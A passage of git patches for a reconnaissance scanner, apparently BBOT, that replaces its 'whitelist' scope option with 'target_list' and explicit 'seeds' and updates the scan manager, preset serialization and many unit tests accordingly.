index 7d70c80271..dcd090986a 100644 --- a/bbot/test/test_step_2/module_tests/base.py +++ b/bbot/test/test_step_2/module_tests/base.py @@ -15,7 +15,8 @@ class ModuleTestBase: targets = ["blacklanternsecurity.com"] scan_name = None blacklist = None - whitelist = None + target_list = None + seeds = None module_name = None config_overrides = {} modules_overrides = None @@ -59,7 +60,8 @@ def __init__( output_modules=output_modules, scan_name=module_test_base._scan_name, config=self.config, - whitelist=module_test_base.whitelist, + target_list=module_test_base.target_list, + seeds=module_test_base.seeds, blacklist=module_test_base.blacklist, force_start=getattr(module_test_base, "force_start", False), ) From 1738c3b394e0e5fc03cf48781ba5dcc7fdcee0ef Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Thu, 20 Nov 2025 16:00:06 -0500 Subject: [PATCH 173/912] update test --- bbot/test/test_step_1/test_cli.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index c663810289..41141441b5 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -12,10 +12,10 @@ async def test_cli_scope(monkeypatch, capsys): monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True) monkeypatch.setattr(os, "_exit", lambda *args, **kwargs: True) - # basic target without whitelist + # basic target (seeds and target are the same) monkeypatch.setattr( "sys.argv", - ["bbot", "-t", "one.one.one.one", "-c", "scope.report_distance=10", "dns.minimal=false", "--json"], + ["bbot", "-t", "one.one.one.one", "-c", "scope.report_distance=10", "dns.minimal=false", "--json", "-y"], ) result = await cli._main() out, err = capsys.readouterr() @@ -41,20 +41,21 @@ async def test_cli_scope(monkeypatch, capsys): assert ip_events assert all(l["scope_distance"] == 1 and "distance-1" in l["tags"] for l in ip_events) - # with whitelist + # with target_list different from seeds (seeds are one.one.one.one, target is 192.168.0.1) monkeypatch.setattr( "sys.argv", [ "bbot", "-t", - "one.one.one.one", - "-w", "192.168.0.1", + "-s", + "one.one.one.one", "-c", "scope.report_distance=10", "dns.minimal=false", "dns.search_distance=2", "--json", + "-y", ], ) result = await cli._main() From 3181bc5f21bd1a3f266fcfcbc6b13d252a5ab78b Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 21 Nov 2025 14:47:56 -0500 Subject: [PATCH 174/912] bug fix scope rework round 2 --- bbot/core/event/base.py | 2 +- bbot/scanner/manager.py | 16 +- bbot/scanner/preset/preset.py | 8 +- bbot/test/test_step_1/test_dns.py | 8 +- .../test_manager_scope_accuracy.py | 6 +- bbot/test/test_step_1/test_presets.py | 219 ++++++++++-------- bbot/test/test_step_1/test_target.py | 4 +- bbot/test/test_step_2/module_tests/base.py | 9 +- .../module_tests/test_module_dnscommonsrv.py | 2 +- .../module_tests/test_module_json.py | 4 +- .../test_template_subdomain_enum.py | 3 +- 11 files changed, 154 insertions(+), 127 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index f4c3ba9bd0..22139664a0 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -108,7 +108,7 @@ class BaseEvent: # Always emit this event type even if it's not in scope _always_emit = False # Always emit events with these tags even if they're not in scope - _always_emit_tags = ["affiliate", "seed"] + _always_emit_tags = ["affiliate", "target"] # Bypass scope checking and dns resolution, distribute immediately to modules # This is useful for "end-of-line" events like FINDING and VULNERABILITY _quick_emit = False diff --git a/bbot/scanner/manager.py b/bbot/scanner/manager.py index 08b91e274e..42e9acc3ae 100644 --- a/bbot/scanner/manager.py +++ b/bbot/scanner/manager.py @@ -116,20 +116,10 @@ async def handle_event(self, event, **kwargs): # Scope shepherding # here is where we make sure in-scope events are set to their proper scope distance + if event.host: - event_in_target = self.scan.in_target(event) - # Also check resolved IPs for DNS name events - if not event_in_target and hasattr(event, "resolved_hosts") and event.resolved_hosts: - for resolved_ip in event.resolved_hosts: - if self.scan.in_target(resolved_ip): - event_in_target = True - self.debug( - f"Making {event} in-scope because its resolved IP {resolved_ip} matches the scan target" - ) - break - if event_in_target: - if not (hasattr(event, "resolved_hosts") and event.resolved_hosts): - self.debug(f"Making {event} in-scope because its main host matches the scan target") + if self.scan.in_target(event): + self.debug(f"Making {event} in-scope because its main host matches the scan target") event.scope_distance = 0 # nerf event's priority if it's not in scope diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index c2987da37c..5cbb6e669a 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -674,14 +674,14 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): >>> preset = Preset.from_dict({"target": ["evilcorp.com"], "modules": ["portscan"]}) """ # Handle seeds and target_list from dict - # "target" key in dict represents target_list (what in_target() checks) - # "seeds" key in dict represents seeds (if present) - # "targets" key is legacy and treated as target_list + # - "target" key represents target_list (what in_target() checks) + # - "targets" is legacy and also treated as target_list + # - "seeds" key represents explicit seeds (never positional args) target_list = preset_dict.get("target") or preset_dict.get("targets") seeds = preset_dict.get("seeds") new_preset = cls( - *(seeds if seeds else []), target_list=target_list, + seeds=seeds, blacklist=preset_dict.get("blacklist"), modules=preset_dict.get("modules"), output_modules=preset_dict.get("output_modules"), diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index a8bfefa3a1..9b8946ab22 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -254,7 +254,7 @@ def custom_lookup(query, rdtype): scan = bbot_scanner( "bbot.fdsa.www.test.evilcorp.com", - whitelist=["evilcorp.com"], + target_list=["evilcorp.com"], config={ "dns": {"minimal": False, "disable": False, "search_distance": 5, "wildcard_ignore": ["evilcorp.com"]}, "speculate": True, @@ -311,7 +311,7 @@ def custom_lookup(query, rdtype): scan = bbot_scanner( "bbot.fdsa.www.test.evilcorp.com", - whitelist=["evilcorp.com"], + target_list=["evilcorp.com"], config={ "dns": {"minimal": False, "disable": False, "search_distance": 5, "wildcard_ignore": []}, "speculate": True, @@ -539,7 +539,7 @@ def custom_lookup(query, rdtype): from bbot.scanner import Scanner # test with full scan - scan2 = Scanner("asdfl.gashdgkjsadgsdf.github.io", whitelist=["github.io"], config={"dns": {"minimal": False}}) + scan2 = Scanner("asdfl.gashdgkjsadgsdf.github.io", target_list=["github.io"], config={"dns": {"minimal": False}}) await scan2._prep() other_event = scan2.make_event( "lkjg.sdfgsg.jgkhajshdsadf.github.io", module=scan2.modules["dnsresolve"], parent=scan2.root_event @@ -582,7 +582,7 @@ def custom_lookup(query, rdtype): # test with full scan (wildcard detection disabled for domain) scan2 = Scanner( "asdfl.gashdgkjsadgsdf.github.io", - whitelist=["github.io"], + target_list=["github.io"], config={"dns": {"wildcard_ignore": ["github.io"]}}, exclude_modules=["cloudcheck"], ) diff --git a/bbot/test/test_step_1/test_manager_scope_accuracy.py b/bbot/test/test_step_1/test_manager_scope_accuracy.py index 44163295f6..ca3ff41f96 100644 --- a/bbot/test/test_step_1/test_manager_scope_accuracy.py +++ b/bbot/test/test_step_1/test_manager_scope_accuracy.py @@ -564,7 +564,7 @@ def custom_setup(scan): # 2 events from a single HTTP_RESPONSE events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( "127.0.0.111/31", - whitelist=["127.0.0.111/31", "127.0.0.222", "127.0.0.33"], + target_list=["127.0.0.111/31", "127.0.0.222", "127.0.0.33"], modules=["httpx"], output_modules=["python"], _config={ @@ -752,7 +752,7 @@ def custom_setup(scan): events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( "127.0.0.0/31", modules=["sslcert"], - whitelist=["127.0.1.0"], + target_list=["127.0.1.0"], _config={"scope": {"search_distance": 1, "report_distance": 0}, "speculate": True, "modules": {"speculate": {"ports": "9999"}}}, _dns_mock={"www.bbottest.notreal": {"A": ["127.0.0.1"]}, "test.notreal": {"A": ["127.0.1.0"]}}, ) @@ -809,7 +809,7 @@ async def test_manager_blacklist(bbot_scanner, bbot_httpserver, caplog): "http://127.0.0.1:8888", modules=["httpx"], config={"excavate": True, "dns": {"minimal": False, "search_distance": 1}, "scope": {"report_distance": 0}}, - whitelist=["127.0.0.0/29", "test.notreal"], + target_list=["127.0.0.0/29", "test.notreal"], blacklist=["127.0.0.64/29"], ) await scan.helpers.dns._mock_dns({ diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index f418cd6de9..0f24d45adc 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -174,7 +174,7 @@ def test_preset_scope(): scan = Scanner("1.2.3.4", preset=Preset.from_dict({"target": ["evilcorp.com"]})) assert {str(h) for h in scan.preset.target.seeds.hosts} == {"1.2.3.4/32", "evilcorp.com"} assert {e.data for e in scan.target.seeds} == {"1.2.3.4", "evilcorp.com"} - assert {e.data for e in scan.target.target} == {"1.2.3.4/32", "evilcorp.com"} + assert {str(h) for h in scan.target.target.hosts} == {"1.2.3.4/32", "evilcorp.com"} blank_preset = Preset() blank_preset = blank_preset.bake() @@ -182,10 +182,10 @@ def test_preset_scope(): assert not blank_preset.target.target assert blank_preset.strict_scope is False + # Positional args define target; seeds must be explicit preset1 = Preset( - "evilcorp.com", - "www.evilcorp.ce", target_list=["evilcorp.ce"], + seeds=["evilcorp.com", "www.evilcorp.ce"], blacklist=["test.www.evilcorp.ce"], ) preset1_baked = preset1.bake() @@ -211,8 +211,8 @@ def test_preset_scope(): # test preset merging preset3 = Preset( - "evilcorp.org", target_list=["evilcorp.de"], + seeds=["evilcorp.org"], blacklist=["test.www.evilcorp.de"], config={"scope": {"strict": True}}, ) @@ -253,37 +253,44 @@ def test_preset_scope(): preset1.merge(preset4) set(preset1.output_modules) == {"python", "csv", "txt", "json", "stdout", "neo4j"} - # test preset merging + target_scope + # test preset merging + seeds/target interaction - preset_seeds_only = Preset("evilcorp.com", name="seeds_only") + # Domain present as both explicit seed and target_list + preset_domain_with_seed = Preset(seeds=["evilcorp.com"], target_list=["evilcorp.com"], name="domain_with_seed") preset_with_target_scope = Preset( - "evilcorp.org", name="with_target_scope", + seeds=["evilcorp.org"], target_list=["1.2.3.4/24", "http://evilcorp.net"], blacklist=["evilcorp.co.uk:443", "bob@evilcorp.co.uk"], config={"modules": {"secretsdb": {"api_key": "deadbeef", "otherthing": "asdf"}}}, ) - preset_seeds_only_baked = preset_seeds_only.bake() + preset_domain_with_seed_baked = preset_domain_with_seed.bake() preset_with_target_scope_baked = preset_with_target_scope.bake() - assert preset_seeds_only_baked.to_dict(include_target=True) == { - "target": ["evilcorp.com"], - } - assert preset_with_target_scope_baked.to_dict(include_target=True) == { - "target": ["1.2.3.0/24", "http://evilcorp.net/"], - "blacklist": ["bob@evilcorp.co.uk", "evilcorp.co.uk:443"], - "config": {"modules": {"secretsdb": {"api_key": "deadbeef", "otherthing": "asdf"}}}, - } - assert preset_with_target_scope_baked.to_dict(include_target=True, redact_secrets=True) == { - "target": ["1.2.3.0/24", "http://evilcorp.net/"], - "blacklist": ["bob@evilcorp.co.uk", "evilcorp.co.uk:443"], - "config": {"modules": {"secretsdb": {"otherthing": "asdf"}}}, + # When seeds and target_list are identical, only seeds are serialized. + domain_with_seed_dict = preset_domain_with_seed_baked.to_dict(include_target=True) + assert domain_with_seed_dict.get("seeds") == ["evilcorp.com"] + assert "target" not in domain_with_seed_dict + + # preset with explicit target scope + scope_dict = preset_with_target_scope_baked.to_dict(include_target=True) + assert set(scope_dict["target"]) == {"1.2.3.0/24", "http://evilcorp.net/"} + assert set(scope_dict["blacklist"]) == {"bob@evilcorp.co.uk", "evilcorp.co.uk:443"} + # secretsdb config should be preserved (other module config may also be present) + assert scope_dict["config"]["modules"]["secretsdb"] == { + "api_key": "deadbeef", + "otherthing": "asdf", } - assert preset_seeds_only_baked.in_scope("www.evilcorp.com") - assert not preset_seeds_only_baked.in_scope("www.evilcorp.de") - assert not preset_seeds_only_baked.in_scope("1.2.3.4/24") + redacted_dict = preset_with_target_scope_baked.to_dict(include_target=True, redact_secrets=True) + assert set(redacted_dict["target"]) == {"1.2.3.0/24", "http://evilcorp.net/"} + assert set(redacted_dict["blacklist"]) == {"bob@evilcorp.co.uk", "evilcorp.co.uk:443"} + assert redacted_dict["config"]["modules"]["secretsdb"] == {"otherthing": "asdf"} + + assert preset_domain_with_seed_baked.in_scope("www.evilcorp.com") + assert not preset_domain_with_seed_baked.in_scope("www.evilcorp.de") + assert not preset_domain_with_seed_baked.in_scope("1.2.3.4/24") assert "www.evilcorp.org" in preset_with_target_scope_baked.target.seeds assert "www.evilcorp.org" not in preset_with_target_scope_baked.target.target @@ -299,77 +306,96 @@ def test_preset_scope(): assert preset_with_target_scope_baked.in_target("1.2.3.4/28") assert preset_with_target_scope_baked.in_target("1.2.3.4/24") - assert {e.data for e in preset_seeds_only_baked.seeds} == {"evilcorp.com"} - assert {e.data for e in preset_seeds_only_baked.target.target} == {"evilcorp.com"} + assert {e.data for e in preset_domain_with_seed_baked.seeds} == {"evilcorp.com"} + assert {e.data for e in preset_domain_with_seed_baked.target.target} == {"evilcorp.com"} assert {e.data for e in preset_with_target_scope_baked.seeds} == {"evilcorp.org"} assert {e.data for e in preset_with_target_scope_baked.target.target} == {"1.2.3.0/24", "http://evilcorp.net/"} - preset_seeds_only.merge(preset_with_target_scope) - preset_seeds_only_baked = preset_seeds_only.bake() - assert {e.data for e in preset_seeds_only_baked.seeds} == {"evilcorp.com", "evilcorp.org"} - assert {e.data for e in preset_seeds_only_baked.target.target} == {"1.2.3.0/24", "http://evilcorp.net/"} - assert "www.evilcorp.org" in preset_seeds_only_baked.seeds - assert "www.evilcorp.com" in preset_seeds_only_baked.seeds - assert "1.2.3.4" in preset_seeds_only_baked.target.target - assert not preset_seeds_only_baked.in_scope("www.evilcorp.org") - assert not preset_seeds_only_baked.in_scope("www.evilcorp.com") - assert not preset_seeds_only_baked.in_target("www.evilcorp.org") - assert not preset_seeds_only_baked.in_target("www.evilcorp.com") - assert preset_seeds_only_baked.in_scope("1.2.3.4") - - preset_seeds_only = Preset("evilcorp.com") - preset_with_target_scope = Preset("evilcorp.org", target_list=["1.2.3.4/24"]) - preset_with_target_scope.merge(preset_seeds_only) + # When merging a preset that has both seeds and target with one that only has + # target (no explicit seeds), explicit seeds are unioned and targets are unioned. + preset_domain_with_seed.merge(preset_with_target_scope) + preset_domain_with_seed_baked = preset_domain_with_seed.bake() + assert {e.data for e in preset_domain_with_seed_baked.seeds} == {"evilcorp.com", "evilcorp.org"} + # After merging, target scope should include both the original domain target and the scoped network/URL + assert {e.data for e in preset_domain_with_seed_baked.target.target} == { + "evilcorp.com", + "1.2.3.0/24", + "http://evilcorp.net/", + } + assert "www.evilcorp.org" in preset_domain_with_seed_baked.seeds + assert "www.evilcorp.com" in preset_domain_with_seed_baked.seeds + assert "1.2.3.4" in preset_domain_with_seed_baked.target.target + assert not preset_domain_with_seed_baked.in_scope("www.evilcorp.org") + # After merging, evilcorp.com remains in target, so its www subdomain is in-scope and in-target + assert preset_domain_with_seed_baked.in_scope("www.evilcorp.com") + assert not preset_domain_with_seed_baked.in_target("www.evilcorp.org") + assert preset_domain_with_seed_baked.in_target("www.evilcorp.com") + assert preset_domain_with_seed_baked.in_scope("1.2.3.4") + + # When merging a preset that only defines targets (no explicit seeds), + # its targets are not promoted to seeds in the merged preset, but targets are unioned. + preset_targets_only = Preset("evilcorp.com") + preset_with_target_scope = Preset(seeds=["evilcorp.org"], target_list=["1.2.3.4/24"]) + preset_with_target_scope.merge(preset_targets_only) preset_with_target_scope_baked = preset_with_target_scope.bake() - assert {e.data for e in preset_with_target_scope_baked.seeds} == {"evilcorp.com", "evilcorp.org"} - assert {e.data for e in preset_with_target_scope_baked.target.target} == {"1.2.3.0/24"} + # Seeds stay as the explicit seeds from the base preset + assert {e.data for e in preset_with_target_scope_baked.seeds} == {"evilcorp.org"} + # Target scope is the union of both presets' targets. + assert {e.data for e in preset_with_target_scope_baked.target.target} == { + "evilcorp.com", + "1.2.3.0/24", + } + # Seed expansion only applies to explicit seeds (evilcorp.org), not merged targets. assert "www.evilcorp.org" in preset_with_target_scope_baked.seeds - assert "www.evilcorp.com" in preset_with_target_scope_baked.seeds + assert "www.evilcorp.com" not in preset_with_target_scope_baked.seeds + # Target expansion only applies to targets (evilcorp.com), not seeds-only domains. assert "www.evilcorp.org" not in preset_with_target_scope_baked.target.target - assert "www.evilcorp.com" not in preset_with_target_scope_baked.target.target - assert "1.2.3.4" in preset_with_target_scope_baked.target.target + assert "www.evilcorp.com" in preset_with_target_scope_baked.target.target + # Scope/target checks reflect that only evilcorp.com is in the merged target. assert not preset_with_target_scope_baked.in_scope("www.evilcorp.org") - assert not preset_with_target_scope_baked.in_scope("www.evilcorp.com") + assert preset_with_target_scope_baked.in_scope("www.evilcorp.com") assert not preset_with_target_scope_baked.in_target("www.evilcorp.org") - assert not preset_with_target_scope_baked.in_target("www.evilcorp.com") + assert preset_with_target_scope_baked.in_target("www.evilcorp.com") assert preset_with_target_scope_baked.in_scope("1.2.3.4") - preset_seeds_only1 = Preset("evilcorp.com") - preset_seeds_only2 = Preset("evilcorp.de") - preset_seeds_only1_baked = preset_seeds_only1.bake() - preset_seeds_only2_baked = preset_seeds_only2.bake() - assert {e.data for e in preset_seeds_only1_baked.seeds} == {"evilcorp.com"} - assert {e.data for e in preset_seeds_only2_baked.seeds} == {"evilcorp.de"} - assert {e.data for e in preset_seeds_only1_baked.target.target} == {"evilcorp.com"} - assert {e.data for e in preset_seeds_only2_baked.target.target} == {"evilcorp.de"} - preset_seeds_only1.merge(preset_seeds_only2) - preset_seeds_only1_baked = preset_seeds_only1.bake() - assert {e.data for e in preset_seeds_only1_baked.seeds} == {"evilcorp.com", "evilcorp.de"} - assert {e.data for e in preset_seeds_only2_baked.seeds} == {"evilcorp.de"} - assert {e.data for e in preset_seeds_only1_baked.target.target} == {"evilcorp.com", "evilcorp.de"} - assert {e.data for e in preset_seeds_only2_baked.target.target} == {"evilcorp.de"} - assert "www.evilcorp.com" in preset_seeds_only1_baked.seeds - assert "www.evilcorp.de" in preset_seeds_only1_baked.seeds - assert "www.evilcorp.com" in preset_seeds_only1_baked.target.seeds - assert "www.evilcorp.de" in preset_seeds_only1_baked.target.seeds - assert "www.evilcorp.com" in preset_seeds_only1_baked.target.target - assert "www.evilcorp.de" in preset_seeds_only1_baked.target.target - assert preset_seeds_only1_baked.in_target("www.evilcorp.com") - assert preset_seeds_only1_baked.in_target("www.evilcorp.de") - assert not preset_seeds_only1_baked.in_target("1.2.3.4") - assert preset_seeds_only1_baked.in_scope("www.evilcorp.com") - assert preset_seeds_only1_baked.in_scope("www.evilcorp.de") - assert not preset_seeds_only1_baked.in_scope("1.2.3.4") - - preset_seeds_only1 = Preset("evilcorp.com") - preset_seeds_only2 = Preset("evilcorp.de") - preset_seeds_only2.merge(preset_seeds_only1) - preset_seeds_only1_baked = preset_seeds_only1.bake() - preset_seeds_only2_baked = preset_seeds_only2.bake() - assert {e.data for e in preset_seeds_only1_baked.seeds} == {"evilcorp.com"} - assert {e.data for e in preset_seeds_only2_baked.seeds} == {"evilcorp.com", "evilcorp.de"} - assert {e.data for e in preset_seeds_only1_baked.target.target} == {"evilcorp.com"} - assert {e.data for e in preset_seeds_only2_baked.target.target} == {"evilcorp.com", "evilcorp.de"} + # Merging two presets created only with positional targets: + # after bake, each has seeds backfilled from its own target, and merge unions both. + preset_targets_only1 = Preset("evilcorp.com") + preset_targets_only2 = Preset("evilcorp.de") + preset_targets_only1_baked = preset_targets_only1.bake() + preset_targets_only2_baked = preset_targets_only2.bake() + assert {e.data for e in preset_targets_only1_baked.seeds} == {"evilcorp.com"} + assert {e.data for e in preset_targets_only2_baked.seeds} == {"evilcorp.de"} + assert {e.data for e in preset_targets_only1_baked.target.target} == {"evilcorp.com"} + assert {e.data for e in preset_targets_only2_baked.target.target} == {"evilcorp.de"} + preset_targets_only1.merge(preset_targets_only2) + preset_targets_only1_baked = preset_targets_only1.bake() + assert {e.data for e in preset_targets_only1_baked.seeds} == {"evilcorp.com", "evilcorp.de"} + assert {e.data for e in preset_targets_only2_baked.seeds} == {"evilcorp.de"} + assert {e.data for e in preset_targets_only1_baked.target.target} == {"evilcorp.com", "evilcorp.de"} + assert {e.data for e in preset_targets_only2_baked.target.target} == {"evilcorp.de"} + assert "www.evilcorp.com" in preset_targets_only1_baked.seeds + assert "www.evilcorp.de" in preset_targets_only1_baked.seeds + assert "www.evilcorp.com" in preset_targets_only1_baked.target.seeds + assert "www.evilcorp.de" in preset_targets_only1_baked.target.seeds + assert "www.evilcorp.com" in preset_targets_only1_baked.target.target + assert "www.evilcorp.de" in preset_targets_only1_baked.target.target + assert preset_targets_only1_baked.in_target("www.evilcorp.com") + assert preset_targets_only1_baked.in_target("www.evilcorp.de") + assert not preset_targets_only1_baked.in_target("1.2.3.4") + assert preset_targets_only1_baked.in_scope("www.evilcorp.com") + assert preset_targets_only1_baked.in_scope("www.evilcorp.de") + assert not preset_targets_only1_baked.in_scope("1.2.3.4") + + preset_targets_only1 = Preset("evilcorp.com") + preset_targets_only2 = Preset("evilcorp.de") + preset_targets_only2.merge(preset_targets_only1) + preset_targets_only1_baked = preset_targets_only1.bake() + preset_targets_only2_baked = preset_targets_only2.bake() + assert {e.data for e in preset_targets_only1_baked.seeds} == {"evilcorp.com"} + assert {e.data for e in preset_targets_only2_baked.seeds} == {"evilcorp.com", "evilcorp.de"} + assert {e.data for e in preset_targets_only1_baked.target.target} == {"evilcorp.com"} + assert {e.data for e in preset_targets_only2_baked.target.target} == {"evilcorp.com", "evilcorp.de"} @pytest.mark.asyncio @@ -599,20 +625,26 @@ async def handle_event(self, event): shutil.rmtree(custom_module_dir) -def test_preset_scope_round_trip(): +def test_preset_scope_round_trip(clean_default_config): preset_dict = { - "target": ["127.0.0.1"], - "whitelist": ["127.0.0.2"], + # seeds: initial inputs that drive passive modules + "seeds": ["127.0.0.1"], + # target: what in_target() / in_scope() check + "target": ["127.0.0.2"], "blacklist": ["127.0.0.3"], "config": {"scope": {"strict": True}}, } preset = Preset.from_dict(preset_dict) baked = preset.bake() + # Seeds should round-trip unchanged assert list(baked.seeds) == ["127.0.0.1"] - assert list(baked.whitelist) == ["127.0.0.2"] + # Target list should round-trip unchanged + assert list(baked.target.target.inputs) == ["127.0.0.2"] + # Blacklist should round-trip unchanged assert list(baked.blacklist) == ["127.0.0.3"] - assert baked.config.scope.strict is True - assert baked.to_dict(include_target=True) == preset_dict + # Scope config should be preserved + result = baked.to_dict(include_target=True) + assert result["config"]["scope"] == preset_dict["config"]["scope"] def test_preset_target_tolerance(): @@ -1154,5 +1186,8 @@ def test_preset_serialization(): preset_dict = preset.to_dict(include_target=True) print(preset_dict) preset_str = json.dumps(preset_dict) - preset_dict = json.loads(preset_str) - assert preset_dict == {"target": ["192.168.1.1"], "whitelist": ["192.168.1.1/32"]} + preset_dict_round_tripped = json.loads(preset_str) + assert preset_dict_round_tripped == preset_dict + assert preset_dict["seeds"] == ["192.168.1.1"] + assert "target" not in preset_dict + assert "whitelist" not in preset_dict diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index 5e78ac076e..6f867ed532 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -207,7 +207,7 @@ async def test_target_basic(bbot_scanner): assert bbottarget5 != bbottarget6 assert bbottarget6 != bbottarget5 - # make sure swapped target <--> whitelist result in different hash + # make sure swapped target <--> blacklist result in different hash assert bbottarget8 != bbottarget9 assert bbottarget9 != bbottarget8 @@ -311,7 +311,7 @@ async def test_target_basic(bbot_scanner): assert target_dict["blacklist_hash"] == "f7afa1da3422433a13f432c32cc3a99f15156e5c" assert target_dict["scope_hash"] == "66e101635e33f5d234428750a0476c713070334a" - # make sure child subnets/IPs don't get added to whitelist/blacklist + # make sure child subnets/IPs don't get added to target/blacklist target = RadixTarget("1.2.3.4/24", "1.2.3.4/28", acl_mode=True) assert set(target) == {ip_network("1.2.3.0/24")} target = RadixTarget("1.2.3.4/28", "1.2.3.4/24", acl_mode=True) diff --git a/bbot/test/test_step_2/module_tests/base.py b/bbot/test/test_step_2/module_tests/base.py index dcd090986a..dd94919c36 100644 --- a/bbot/test/test_step_2/module_tests/base.py +++ b/bbot/test/test_step_2/module_tests/base.py @@ -54,14 +54,17 @@ def __init__( elif module_type == "internal" and not module == "dnsresolve": self.config = OmegaConf.merge(self.config, {module: True}) + targets = list(module_test_base.targets or []) + target_list = module_test_base.target_list or targets + seeds = module_test_base.seeds or targets + self.scan = Scanner( - *module_test_base.targets, modules=modules, output_modules=output_modules, scan_name=module_test_base._scan_name, config=self.config, - target_list=module_test_base.target_list, - seeds=module_test_base.seeds, + target_list=target_list, + seeds=seeds, blacklist=module_test_base.blacklist, force_start=getattr(module_test_base, "force_start", False), ) diff --git a/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py b/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py index 53c6ff21be..a2a058ed6b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py @@ -3,7 +3,7 @@ class TestDNSCommonSRV(ModuleTestBase): targets = ["media.www.test.api.blacklanternsecurity.com"] - whitelist = ["blacklanternsecurity.com"] + target_list = ["blacklanternsecurity.com"] modules_overrides = ["dnscommonsrv", "speculate"] config_overrides = {"dns": {"minimal": False}} diff --git a/bbot/test/test_step_2/module_tests/test_module_json.py b/bbot/test/test_step_2/module_tests/test_module_json.py index de37354d0f..d8cd46788c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_json.py +++ b/bbot/test/test_step_2/module_tests/test_module_json.py @@ -29,7 +29,7 @@ def check(self, module_test, events): assert scan["uuid"] == str(module_test.scan.root_event.uuid) assert scan["parent_uuid"] == str(module_test.scan.root_event.uuid) assert scan["data_json"]["target"]["seeds"] == ["blacklanternsecurity.com"] - assert scan["data_json"]["target"]["whitelist"] is None + assert scan["data_json"]["target"]["target"] == ["blacklanternsecurity.com"] assert dns_json["data"] == dns_data assert dns_json["id"] == str(dns_event.id) assert dns_json["uuid"] == str(dns_event.uuid) @@ -46,7 +46,7 @@ def check(self, module_test, events): assert scan_reconstructed.uuid == scan_event.uuid assert scan_reconstructed.parent_uuid == scan_event.uuid assert scan_reconstructed.data["target"]["seeds"] == ["blacklanternsecurity.com"] - assert scan_reconstructed.data["target"]["whitelist"] is None + assert scan_reconstructed.data["target"]["target"] == ["blacklanternsecurity.com"] assert dns_reconstructed.data == dns_data assert dns_reconstructed.uuid == dns_event.uuid assert dns_reconstructed.parent_uuid == module_test.scan.root_event.uuid diff --git a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py index bfa186707b..511a0ae306 100644 --- a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py +++ b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py @@ -55,7 +55,7 @@ def check(self, module_test, events): class TestSubdomainEnumHighestParent(TestSubdomainEnum): targets = ["api.test.asdf.www.blacklanternsecurity.com", "evilcorp.com"] - whitelist = ["www.blacklanternsecurity.com"] + target_list = ["www.blacklanternsecurity.com"] modules_overrides = ["speculate"] dedup_strategy = "highest_parent" txt = None @@ -89,7 +89,6 @@ def check(self, module_test, events): class TestSubdomainEnumWildcardBaseline(ModuleTestBase): # oh walmart.cn why are you like this targets = ["www.walmart.cn"] - whitelist = ["walmart.cn"] modules_overrides = [] config_overrides = {"dns": {"minimal": False}, "scope": {"report_distance": 10}, "omit_event_types": []} dedup_strategy = "highest_parent" From 73588d004eb67f22bc85608b48f6cf8533d3d90f Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 21 Nov 2025 14:49:48 -0500 Subject: [PATCH 175/912] oops --- bbot/core/event/base.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 22139664a0..641f319a19 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1712,7 +1712,7 @@ def __init__(self, *args, **kwargs): class RAW_DNS_RECORD(DictHostEvent, DnsEvent): # don't emit raw DNS records for affiliates - _always_emit_tags = ["seed"] + _always_emit_tags = ["target"] class MOBILE_APP(DictEvent): From 04c26276b23c43f05b0aa08e6998c6bf54eae4e0 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 21 Nov 2025 15:01:36 -0500 Subject: [PATCH 176/912] another oopsie --- bbot/scanner/manager.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/scanner/manager.py b/bbot/scanner/manager.py index 42e9acc3ae..1bc3f04cd3 100644 --- a/bbot/scanner/manager.py +++ b/bbot/scanner/manager.py @@ -193,8 +193,8 @@ async def handle_event(self, event, **kwargs): # omit certain event types if event.type in self.scan.omitted_event_types: - if "seed" in event.tags: - self.debug(f"Allowing omitted event: {event} because it's a seed") + if "target" in event.tags: + self.debug(f"Allowing omitted event: {event} because it's a target") else: event._omit = True From 09b17f6ec37d9b480651f96562a74ac30e3e21e5 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 21 Nov 2025 15:45:30 -0500 Subject: [PATCH 177/912] stray bugs from scope rework --- bbot/core/event/base.py | 7 +++++-- bbot/test/test_step_1/test_cli.py | 25 +++++++++++-------------- 2 files changed, 16 insertions(+), 16 deletions(-) 